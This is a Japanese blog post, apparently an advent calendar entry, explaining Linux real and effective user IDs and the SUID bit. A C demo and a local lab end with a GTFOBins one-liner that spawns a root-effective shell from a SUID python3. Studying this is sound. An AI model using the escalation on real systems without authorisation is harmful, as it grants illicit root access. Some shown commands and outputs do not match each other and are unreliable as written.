はじめに
こんにちは!!!刺身です。
こちらは Yuruvent Advent Calendar 2025 4日目の記事になります。
CTFや Hack The Box などで Linuxの権限周りを勉強していると、必ず「SUIDがついているファイルを探せ」ということを心がけると思います。
「所有者がrootのファイルに SUID が設定されていると、実行時にroot権限になる」ということは知っていても「なぜそうなるのか?」「具体的にカーネル内では何が起きているのか?」をきちんと整理したことがなかったので、今回はRUID(Real User ID)とEUID(Effective User ID)の関係を中心にまとめることにします。
本稿で紹介する事柄は、合法的に認められている方法でのユースケースを想定しており、非合法的な目的での用法を助長する目的は一切ございません。
登場人物
Linux Kernel は 1つのプロセスに対して複数の ID を管理しています。特に重要なのが以下の2つ(+1)です。
1. RUID (Real User ID / 実ユーザID)
- 「誰が」そのプロセスを起動したか。
- 親プロセス(通常はログインシェルなど)のユーザーIDを引き継ぐ。
- 基本的にプロセスが終了するまで変わらない(※意図的に変えない限り)
- 「生まれ」を表すID。
2. EUID (Effective User ID / 実効ユーザID)
- 「どの権限で」アクセス制御(ファイル読み書きなど)を行うか。
- カーネルが「お前はアクセスしてもいいよ」と判断するときに見るID。
- 通常は RUID と同じだが、SUIDが設定されていると変わる。
- 「今の立場」を表すID。
3. SUID (Set User ID)
- 実行ファイル自体に設定される属性(Permission bit)。
- これがあるファイルを起動すると「プロセスのEUIDがファイルの所有者のIDに書き換わる!」という現象が起きる。
なにが起こるのか (図解)
通常コマンドの実行と、SUID付きコマンドの実行の違いを図にしてみました。
Case1:通常のコマンドを実行した時(例:cat)
一般ユーザ(User:1000)が、root所有のコマンドを実行しても、権限は一般ユーザのままです。
Case2:SUID付きのコマンド実行した時(例:passwd)
passwd コマンドは一般ユーザが自分のパスワードを変更するために、一時的にroot権限で /etc/shadow を書き換える必要があります。ここでSUIDが機能します。
(イメージ: rws の 's' がついている状態)
ポイント: プロセスの中では「私はUser 1000です(RUID)」と名乗っているものの、カーネルからは「いいえ!君の権限はRoot(EUID 0)として扱うぞ!」と認識されている状態です。これが EUID の仕組みです。
挙動の確認
RUIDとEUIDの具体的な挙動を少し見てみます。
以下のRUID / EUIDを表示するだけのシンプルなコードをコンパイルして実行してみます。
//idcheck.c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main() {
printf("RUID = %d\n", getuid()); // ← RUIDを取得する
printf("EUID = %d\n", geteuid()); // ← EUIDを取得する
return 0;
}
実行結果
~$ gcc idcheck.c -o idcheck
~$ ./idcheck
RUID = 1000
EUID = 1000
当然、両方とも現在一般ユーザーであることが出力されています。
SUIDを付与してみる
~$ sudo chown root:root idcheck
~$ sudo chmod u+s idcheck
~$ ls -l idcheck
-rwsrwxr-x 1 root root 16048 Dec 4 03:56 idcheck
一般ユーザーで実行してみる
~$ ./idcheck
RUID = 1000
EUID = 0
EUIDだけが 0 (root) になりました! この状態になっている時に open("/etc/shadow", ...) などを実行すれば、EUIDが0でrootなので実行に成功してしまいます。
権限昇格の仕組み
SUIDがついているものが攻撃者に狙われるのはプロセス生成の仕組みにあります。
Linuxにおいて、あるプロセス(親)が新しいプロセス(子)を作るとき(fork -> exec)、子プロセスは親プロセスのEUIDをそのまま引き継ぐというルールがあります。
もし、SUIDがついた(EUID=0で動作)プログラムが内部で別のコマンドなどを呼び出せる場合、呼び出されたコマンドもEUID=0(root)で起動してしまいます。
実際に権限昇格をしてみる
理屈だけでは分かりにくいので、実際に手元の環境で検証してみます。ここでは、管理者の設定ミスによりPython interpreter にSUIDが付与されてしまったというシナリオを想定します。
1. 環境構築(意図的な脆弱性の作成)
まず、root権限でPythonにSUIDを付けます。
・脆弱で危険なので検証後は必ず元の状態に戻してください
・自分の環境でのみ実行し、悪用目的での実行はしないでください
~$ sudo cp /usr/bin/python3 ./test
~$ sudo chown root:root ./test
~$ sudo chmod u+s ./test
# rootになっていることを確認
~$ ls -l ./test
-rwxr-xr-x 1 root root 5933576 Dec 4 04:28 python3
2. 一般ユーザとして実行
次に、一般ユーザに戻りこのtestを使ってrootシェルを奪取します。
Pythonにはosモジュールがあり、システムコマンドを実行することができます。これを利用してシェルを呼び出します。
~$ id
# 現在の権限を確認
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),...
# 攻撃を実行
~$ ./test/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
3. 結果
コマンドを実行するとプロンプトが変わる(または#になる)はずです。
# id
uid=1000(ubuntu) gid=1000(ubuntu) euid=0(root) groups=1000(ubuntu)...
# euid=0(root)になっている
euid=0(root)となっています。これでこのシェル上ではあらゆるシステムファイルの読み書きが可能になりました。
これはGTFOBinsで紹介されている権限昇格方法の一つです。
まとめ
- RUID : 誰が起動したか
- EUID : どの権限があるか
- SUIDは、実行中だけEUIDをファイル所有者にすり替得ることができる
- この仕組みは便利だが、プログラムがシェルを起動できてしまうと、
rootごとシェルに渡してしまうため権限昇格に使われる。
普段何気なく使っている sudo も、実は内部でこのUIDの制御を行っています(もっと複雑ですが)。
ls -l で s が見えたら、「お、EUIDが切り替わるやつだな」と思い出せるようにしたいです。